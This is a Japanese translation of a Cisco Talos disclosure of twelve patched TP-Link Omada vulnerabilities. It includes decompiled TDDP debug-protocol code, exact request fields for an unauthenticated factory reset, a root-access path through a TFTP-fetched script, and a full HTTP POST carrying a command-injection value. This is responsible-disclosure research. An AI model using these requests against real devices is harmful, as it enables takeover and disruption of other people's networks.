Cisco Japan Blog

TP-Link Omada システムに複数の脆弱性、ルートアクセスが取得される可能性も

3 min read



  • TP-Link Omada システムは、中小企業向けのソフトウェア定義型ネットワークソリューションです。クラウド管理デバイスと、すべての Omada デバイスのローカル管理が訴求ポイントとなっています
  • このエコシステムでサポートされるデバイスは多岐にわたりますが、ワイヤレスアクセスポイント、ルータ、スイッチ、VPN デバイス、Omada ソフトウェア用のハードウェアコントローラなどがあります。
  • Cisco Talos の研究者は Omada システムに複数の脆弱性を発見し、そのパッチ適用を支援しました。特に重点を置いたのは、EAP 115 および EAP 225 ワイヤレスアクセスポイント、ER7206 ギガビット VPN ルータ、Omada ソフトウェアコントローラですが、これらは利用可能なデバイスのごく一部です。
  • 12 件の固有の脆弱性が特定され、シスコの責任ある開示ポリシーに従ってベンダーに報告されました。

Talos ID CVE
TALOS-2023-1888popup_icon CVE-2023-49906-CVE-2023-49913
TALOS-2023-1864popup_icon CVE-2023-48724
TALOS-2023-1862popup_icon CVE-2023-49133-CVE-2023-49134
TALOS-2023-1861popup_icon CVE-2023-49074
TALOS-2023-1859popup_icon CVE-2023-47618
TALOS-2023-1858popup_icon CVE-2023-47617
TALOS-2023-1857popup_icon CVE-2023-46683
TALOS-2023-1856popup_icon CVE-2023-42664
TALOS-2023-1855popup_icon CVE-2023-47167
TALOS-2023-1854popup_icon CVE-2023-47209
TALOS-2023-1853popup_icon CVE-2023-36498
TALOS-2023-1850popup_icon CVE-2023-43482

脆弱性の概要

TALOS-2023-1888popup_icon

TP-Link AC1350 ワイヤレス MU-MIMO ギガビットアクセスポイント(EAP225 V3)v5.1.0(ビルド 20220926)の Web インターフェイス無線スケジューリング機能には、スタックベースのバッファオーバーフローの脆弱性が存在します。細工された一連の HTTP リクエストにより、リモートコード実行につながる可能性があります。

TALOS-2023-1864popup_icon

TP-Link AC1350 ワイヤレス MU-MIMO ギガビットアクセスポイント(EAP225 V3)v5.1.0(ビルド 20220926)の Web インターフェイス機能には、メモリ破損の脆弱性が存在します。細工された HTTP POST リクエストにより、デバイスの Web インターフェイスのサービス拒否が引き起こされる可能性があります。

TALOS-2023-1862popup_icon

TP-Link AC1350 ワイヤレス MU-MIMO ギガビットアクセスポイント(EAP225 V3)v5.1.0(ビルド 20220926)および TP-Link N300 ワイヤレスアクセスポイント(EAP115 V4)v5.0.4(ビルド 20220216)の tddpd enable_test_mode 機能には、コマンド実行の脆弱性が存在します。細工された一連のネットワークリクエストにより、任意のコードの実行につながる可能性があります。この脆弱性は、一連の未認証のパケットの送信によりエクスプロイトされる可能性があります。

TALOS-2023-1861popup_icon

TP-Link AC1350 ワイヤレス MU-MIMO ギガビットアクセスポイント(EAP225 V3)v5.1.0(ビルド 20220926)の TDDP 機能には、サービス拒否の脆弱性が存在します。細工された一連のネットワークリクエストにより、攻撃者がデバイスを工場出荷時の設定にリセットできる可能性があります。この脆弱性は、一連の未認証のパケットの送信によりエクスプロイトされる可能性があります。

TALOS-2023-1859popup_icon

TP-Link ER7206 Omada ギガビット VPN ルータ 1.3.0(ビルド 20230322 Rel.70591)の Web フィルタリング機能には、認証後のコマンド実行の脆弱性が存在します。細工された HTTP リクエストにより、任意のコマンドの実行につながる可能性があります。

TALOS-2023-1858popup_icon

TP-Link ER7206 Omada ギガビット VPN ルータ 1.3.0(ビルド 20230322 Rel.70591)の Web グループメンバーを構成する際に、認証後のコマンドインジェクションの脆弱性が存在します。細工された HTTP リクエストにより、任意のコマンドインジェクションにつながる可能性があります。

TALOS-2023-1857popup_icon

TP-Link ER7206 Omada ギガビット VPN ルータ 1.3.0(ビルド 20230322 Rel.70591)の WireGuard VPN 機能を設定する際に、認証後のコマンドインジェクションの脆弱性が存在します。細工された HTTP リクエストにより、任意のコマンドインジェクションにつながる可能性があります。

TALOS-2023-1856popup_icon

TP-Link ER7206 Omada ギガビット VPN ルータ 1.3.0(ビルド 20230322 Rel.70591)の PPTP グローバル設定を行う際に、認証後のコマンドインジェクションの脆弱性が存在します。細工された HTTP リクエストにより、任意のコマンドインジェクションにつながる可能性があります。

TALOS-2023-1855popup_icon

TP-Link ER7206 Omada ギガビット VPN ルータ 1.3.0(ビルド 20230322 Rel.70591)の GRE ポリシー機能には、認証後のコマンドインジェクションの脆弱性が存在します。細工された HTTP リクエストにより、任意のコマンドインジェクションにつながる可能性があります。

TALOS-2023-1854popup_icon

TP-Link ER7206 Omada ギガビット VPN ルータ 1.3.0(ビルド 20230322 Rel.70591)の IPSec ポリシー機能には、認証後のコマンドインジェクションの脆弱性が存在します。細工された HTTP リクエストにより、任意のコマンドインジェクションにつながる可能性があります。

TALOS-2023-1853popup_icon

TP-Link ER7206 Omada ギガビット VPN ルータ 1.3.0(ビルド 20230322 Rel.70591)の PPTP クライアント機能には、認証後のコマンドインジェクションの脆弱性が存在します。細工された HTTP リクエストにより、任意のコマンドインジェクションが実行され、攻撃者が制限のないシェルにアクセスできるようになる可能性があります。

TALOS-2023-1850popup_icon

TP-Link ER7206 Omada ギガビット VPN ルータ 1.3.0(ビルド 20230322 Rel.70591)のゲストリソース機能には、コマンド実行の脆弱性が存在します。細工された HTTP リクエストにより、任意のコマンドの実行につながる可能性があります。

脆弱性のハイライト

ワイヤレスアクセスポイントの TDDP

TDDP は、多くの TP-Link デバイスで利用できる TP-Link Device Debug Protocol です。このサービスは UDP 1040 で実行され、デバイスのランタイムの最初の 15 分間のみ開かれます。これは実質的に、ユーザーがリモートでデバイスのサービスを受けられるようにするメカニズムであり、サービスを手動で有効または無効にする必要はありません。デバイスが再起動するたびにサービスが 15 分間公開されます。この時間内に、デバイスのさまざまな機能が公開されます。これらの機能についてはこの記事の後半で説明します。ほとんどは、工場出荷時のテストに直接関連した機能のようです。

リクエストの作成

TDDP リクエストメッセージは、サイズが 0x1C のヘッダーと、それに続く選択コマンドでのみ使用されるデータフィールドで構成されています。通常、このヘッダーの構造は以下のようになっています。

バージョン

現在、分析対象のデバイスに実装されていると思われる TDDP サービスのバージョンは 0x01 と 0x02 の 2 つのみです。このうちバージョン 0x02 にだけ、注目すべき機能が含まれています。

00407778  int32_t tddpPktInterfaceFunction(int32_t arg1, int32_t arg2, int32_t arg3, int32_t arg4)

...

00407878          if (arg1 != 0 && arg1 != 0)

0040791c              memset(0x42f780, 0, 0x14000)

0040797c              uint32_t $tddp_version = zx.d(*arg1)

00407994              int32_t len

00407994              if ($tddp_version == 1)

00407b1c                  len = tddp_versionOneOpt(arg1, 0x42f780)

...

004079a8              if ($tddp_version == 2)

004079bc                  if (arg4 s< 0x1c)

004079e0                      len_1 = printf("[TDDP_ERROR]<error>[%s:%d] inval…", "tddpPktInterfaceFunction", 0x292)

00407a18                  else

00407a18                      inet_ntop(2, &arg_8, &var_24, 0x10)

00407a38                      if (g_some_string_copying_routine(&var_24) == 0)

00407af4                          len = tddp_versionTwoOpt(ggg_tppd_req_buf_p: arg1, &data_42f780, arg4)

00407a48                      else

...

00407d04      return len_1

対象デバイスでは、バージョン 0x01 でサポートされていたのは tddp_sysInit リクエストだけでした。このリクエストは実行中のデバイスにほとんど影響を与えないと思われます。

0040849c  int32_t tddp_versionOneOpt(void* arg1, int32_t arg2)

…

004084b8      int32_t var_14 = 0

004084bc      int32_t var_18 = 0

004084d8      int32_t var_10

004084d8      if (arg1 == 0 || (arg1 != 0 && arg2 == 0))

004084fc          printf("[TDDP_ERROR]<error>[%s:%d] Invla…", "tddp_versionOneOpt", 0x35f)

0040850c          var_10 = 0xffffffff

004084d8      if (arg1 != 0 && arg2 != 0)

00408548          if (arg1 == 0 || (arg1 != 0 && arg2 == 0))

0040856c              printf("[TDDP_ERROR]<error>[%s:%d] pTddp…", "tddp_versionOneOpt", 0x367)

0040857c              var_10 = 0xffffffff

00408548          if (arg1 != 0 && arg2 != 0)

0040859c              memcpy(arg2, arg1, 0xc)

004085c0              if (zx.d(*(arg1 + 1)) != 0xc)

00408698                  printf("[TDDP_ERROR]<error>[%s:%d] Recei…", "tddp_versionOneOpt", 0x3cf)

004086a8                  var_10 = 0xffffffff

004085e4              else

004085e4                  printf("[TDDP_DEBUG]<debug>[%s:%d] Recei…", "tddp_versionOneOpt", 0x370)

00408600                  tddp_sysInit(arg1, arg2)

0040863c                  uint32_t $v1_3 = zx.d(printf("[TDDP_DEBUG]<debug>[%s:%d] Send …", "tddp_versionOneOpt", 0x372))

00408670                  var_10 = ntohl(*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_3))) + 0xc

004086b8      return var_10

一方、バージョン 0x02 では、この記事の後半で説明するさまざまなリクエストがサポートされています。

004086c0  int32_t tddp_versionTwoOpt(int32_t arg1, void* arg2, int32_t arg3)

...

00408868                  memset(arg1, 0, 0x14000)

00408888                  memcpy(arg1, arg2, 0x1c)

0040889c                  uint32_t $v0_11 = zx.d(*(arg1 + 1))

004088b4                  if ($v0_11 == 3)

004088f4                      printf("[TDDP_DEBUG]<debug>[%s:%d] Speci…", "tddp_versionTwoOpt", 0x407)

00408910                      specialCmdOpt(arg2, arg1)

00408938                      printf("[TDDP_DEBUG]<debug>[%s:%d] Speci…", "tddp_versionTwoOpt", 0x409)

004088c8                  if ($v0_11 == 7)

0040895c                      puts("TDDP: enc_cmd. \r")

00408978                      encCmdOpt(arg2, arg1)

00408994                      puts("TDDP: enc_cmd over. \r")

...

004088c8                  if ($v0_11 != 3 && $v0_11 != 7)

004089c4                      printf("[TDDP_ERROR]<error>[%s:%d] Reciv…", "tddp_versionTwoOpt", 0x413)

004089d4                      var_c = 0xffffffff

00408a04      return var_c

これらの type 値のいずれかを選択した場合は、対応する sub_type 値(以下に記載)を指定する必要があります。

ペイロードの長さ

pay_len サブタイプフィールドには、ペイロードを構成するバイト数が格納されます。この値が計算されるのは、必要なパディング(データの埋め込み)がすべて適用された後、かつペイロードが暗号化される前です。

サブタイプ

使用される sub_type は、直前に選択された type の値に依存します。サポートされている各 type に対する sub_type のブレークアウトは、この記事の後半に記載しています。これらのマッピングは対象デバイスに固有であり、デバイスごとに異なる場合があります。

sub_type は、2 つの主要な type リクエスト間で異なる方法で処理されます。SPECIAL_CMD_OPT は、このフィールドの sub_type 値をリクエストします。ENC_CMD_OPT リクエストでは sub_type フィールドが無視され、代わりに、ペイロードのバイトオフセット 0x0A(リクエスト全体のオフセット 0x26)に sub_type 値が指定されることが想定されています。

00408a0c  int32_t encCmdOpt(void* arg1, int32_t arg2)

...

00408b54                  uint32_t $v0_12 = zx.d(*(arg1 + 0x26))

00408b6c                  if ($v0_12 == 0x47)

00408d58                      printf("[TDDP_DEBUG]<debug>[%s:%d] get s…", "encCmdOpt", 0x457)

00408d88                      uint32_t $v1_11 = zx.d(tddp_getSoftVer(arg1 + 0x1c, arg2))

00408dc8                      *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_11))) + 0xc)

00408dec                      $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get s…", "encCmdOpt", 0x45a)

00408bb0                  else

00408bb0                      if ($v0_12 == 0x48)

00408e1c                          printf("[TDDP_DEBUG]<debug>[%s:%d] get m…", "encCmdOpt", 0x45e)

00408e4c                          uint32_t $v1_14 = zx.d(tddp_getModelName(arg1 + 0x1c, arg2))

00408e8c                          *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_14))) + 0xc)

00408eb0                          $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get m…", "encCmdOpt", 0x461)

00408bc4                      if ($v0_12 == 0x49)

00408bdc                          puts("TDDP: resetting. \r")

00408c0c                          uint32_t $v1_5 = zx.d(tddp_resetFactory(arg1 + 0x1c, arg2))

00408c4c                          *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_5))) + 0xc)

00408c64                          $v0_2 = puts("TDDP: reset over. \r")

00408b94                      if ($v0_12 == 0x46)

00408c94                          printf("[TDDP_DEBUG]<debug>[%s:%d] get h…", "encCmdOpt", 0x450)

00408cc4                          uint32_t $v1_8 = zx.d(tddp_getHardVer(arg1 + 0x1c, arg2))

00408d04                          *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_8))) + 0xc)

00408d28                          $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get h…", "encCmdOpt", 0x453)

00408bc4                      if (($v0_12 s< 0x48 && $v0_12 != 0x46) || ($v0_12 s>= 0x48 && $v0_12 != 0x48 && $v0_12 != 0x49))

00408ed4                          $v0_2 = puts("TDDP: Recive unknow enc_cmd, no …")

00408ee8      return $v0_2

ダイジェスト

すべての TDDP リクエストには、パディング後から暗号化されるまでのペイロードを含む、リクエスト全体の MD5 ダイジェストが含まれている必要があります。この値を計算する際、digest フィールドに 0x10 の Null バイトを入力する必要があります。以下にその例を示します。

ペイロード

一部のリクエストを正常に実行するにはペイロードが必要です。ペイロードの内容にかかわらず、まずは 8 バイト境界まで Null バイトでパディングする必要があります。パディング後は、DES でペイロードを暗号化する必要があります。以下にその例を示します。

未対応のフィールド

他にも、明示的に呼び出されていない codedirectionreservedpkt_id というリクエストフィールドが存在します。これらのフィールドはリクエストを成功させるために必要ですが、今回のテスト中、フィールドの値はずっと一定でした。

脆弱性による影響

デバイスを工場出荷時の状態にリセット(TALOS-2023-1861)

TDDP は、デバイスの起動時に有効になっている間、デバイスを工場出荷時の状態にリセットするために使用できます。単一の ENC_CMD_OPT リクエストを送信し、ペイロードフィールド経由でサブタイプコード 0x49 を渡すことでデバイスがリセットされます。

通常のペイロードフィールドの使用方法とは異なり、このタイプのリクエストは送信前に DES で暗号化されていません。代わりに、サブタイプコードをオフセット 0x0A のペイロードフィールド内に配置し、それ以外のバイトをすべて Null のままにして、サブタイプコードを指定します。

適切にフォーマットされると、ペイロードフィールドの内容は b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x00\x00 になります。

このペイロードフィールドを残りの必須フィールドと組み合わせると、次の要素を含むリクエストが生成されます。

version 0x02
type 0x07
code 0x01
direction 0x00
pay_len 0x10
pkt_id 0x01
sub_type <ignored>
reserved 0x00
digest <dynamic>
payload 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00

リクエストが適切に作成され、TDDP サービスがリッスンしている TP-Link EAP115 または EAP225 に送信されると、デバイスの設定が工場出荷時のデフォルトにリセットされ、デバイスが再起動してデフォルト設定が完全に有効になるまで異常動作が起きるようになります。

ルートアクセスを取得(TALOS-2023-1862)

TDDP は、公開されている TDDP コマンドの 1 つである enableTestMode を通じて、特定のデバイスで間接的にルートアクセスを取得するためにも使用できます。このコマンドの正確な目的は不明ですが、このテストモードを有効にすると、デバイスは定義済みのアドレス(192.168.0.100)に TFTP リクエストを送信して、「test_mode_tp.sh」という名前のファイルを検索します。その後、このファイルが実行されます。このシーケンスは、以下のコードスニペットで確認できます。

int32_t api_wlan_enableTestMode() {

struct stat buf;

memset(&buf, 0, 0x98);

int32_t i;

do {

i = execFormatCmd(“arping -I %s -c 1 192.168.0.100”, “br0”)                     // [1] Check for the existence of a system at 192.168.0.100

} while (i == 1);

execFormatCmd(“tftp -g 192.168.0.100 -r test_mode_tp.sh -l /tmp/test_mode_tp.sh”);  // [2] TFTP Get a file named `test_mode_tp.sh` from 192.168.0.100

stat(“/tmp/test_mode_tp.sh”, &buf);

int32_t result = 1;

if (buf.st_size s> 0) {                                                             // [3] If the file was successfully fetched…

execFormatCmd(“chmod +x /tmp/test_mode_tp.sh”);                                 // [4] Mark the file as executable

execFormatCmd(“/tmp/test_mode_tp.sh &”);                                        // [5] and finally execute the shell script with root permissions

result = 0;

}

return result;

}

ホストにアドレス 192.168.0.100 を割り当て、そのホスト上で test_mode_tp.sh スクリプトを提供する TFTP サーバーを設定すると、enableTestMode TDDP リクエストが送信された直後に、デバイスにルートユーザーとして任意のコマンドを強制的に実行させることができます。

VPN ルータのコマンドインジェクションの脆弱性

ER7206 ギガビット VPN ルータの cgi-bin 機能は、コンパイルされた LUA スクリプトによって完全にサポートされています。これらのスクリプトには Lua 用の標準コンパイル形式が含まれていないため、リバースエンジニアリングが難しい場合があります。正確な逆コンパイルを実行するには、元のコンパイラのバージョンが必要です。これにより分析は複雑になりますが、コンパイルされたコードを調べることで実装の詳細に関するヒントが得られ、手動テストをさらに進めることができます。同様のソフトウェアに見られる一般的な脆弱性クラスは、サニタイズされていない入力によるコマンドインジェクションです。ユーザーインターフェイスの入力フィールドを徹底的にテストした結果、8 つの異なるコマンドインジェクションの脆弱性が見つかりましたが、そのほとんどは、VPN テクノロジー(PPTP、GRE、Wireguard、IPSec)の設定に関連するユーザーインターフェイスに存在します。こうした脆弱性の存在は、各脆弱性の悪用が成功した場合の副作用をテストすることで確認されました。このグループで特定されたすべての脆弱性は、エクスプロイト前に認証が必要なのでシビラティ(重大度)は低くなりますが、制限のないシェルアクセスを取得するために悪用される可能性があります。これにより攻撃経路が拡大し、デバイス上での永続性をさらに確立しやすくなります。

コマンドインジェクションの脆弱性のエクスプロイトは簡単です。次の例では、JSON データの「name」フィールドがコマンドインジェクションの対象になっています。この POST リクエストのデータの処理中に入力フィルタ処理は行われず、POST 本文に含まれるシェルメタ文字はすべて、認証されたコンテキスト内で任意のコマンドを実行するために使用できます。

POST /cgi-bin/luci/;stok=b53d9dc12fe8aa66f4fdc273e6eaa534/admin/freeStrategy?form=strategy_list HTTP/1.1

Host: 192.168.8.100

User-Agent: python-requests/2.31.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Cookie: sysauth=8701fa9dc1908978bc804e7d08931706

Content-Length: 470

 

data={“method”:”add”,”params”:{“index”:0,”old”:”add”,”new”:{“name”:”DDDDL|`/usr/bin/id>/tmp/had`”,”strategy_type”:”five_tuple”,”src_ipset”:”/”,”dst_ipset”:”/”,”mac”:””,”sport”:”-“,”dport”:”-“,”service_type”:”TCP”,”zone”:”LAN1″,”comment”:””,”enable”:”on”},”key”:”add”}}

 

TDDP タイプ/サブタイプのマッピング

SPECIAL_CMD_OPT (0x03)

コマンド名 sub_type」値
SYS_INIT 0x0C
GET_MAC_ADDR_1 0x37
GET_MAC_ADDR_2 0x40
GET_MAC_ADDR_3 0x66
SET_MAC_ADDR 0x06
GET_REGION_1 0x20
GET_REGION_2 0x42
SET_REGION_1 0x1F
SET_REGION_2 0x43
GET_UPLINK_PORT_RATE 0x7A
GET_DEVICE_ID_1 0x35
GET_DEVICE_ID_2 0x65
SET_DEVICE_ID_1 0x36
SET_DEVICE_ID_2 0x64
GET_OEM_ID 0x3B
GET_PRODUCT_ID 0x0A
GET_HARDWARE_ID 0x39
GET_SIGNATURE 0x05
SET_SIGNATURE 0x0B
ENABLE_TEST_MODE_1 0x4B
ENABLE_TEST_MODE_2 0x4F
CANCEL_TEST_MODE 0x07
START_WLAN_CAL_APP 0x12
ERASE_WLAN_CAL_DATA_1 0x11
ERASE_WLAN_CAL_DATA_2 0x63
DISABLE_PRE_CAC 0x5A
DISABLE_DFS 0x5B
DISABLE_TXBF 0x79
SET_POE_OUT 0x50
TEST_GPIO 0x32
NO_WLAN_INIT 0x7D
SET_BANDWIDTH 0x4C
SET_CHANNEL 0x4D

ENC_CMD_OPT (0x07)

コマンド名 sub_type」値
GET_HARDWARE_VERSION 0x46
GET_SOFTWARE_VERSION 0x47
GET_MODEL_NAME 0x48
PERFORM_FACTORY_RESET 0x49

 

本稿は 2024 年 06 月 26 日にTalos Grouppopup_icon のブログに投稿された「Multiple vulnerabilities in TP-Link Omada system could lead to root accesspopup_icon」の抄訳です。

 


				
				
				
				
								
				
				
コメントを書く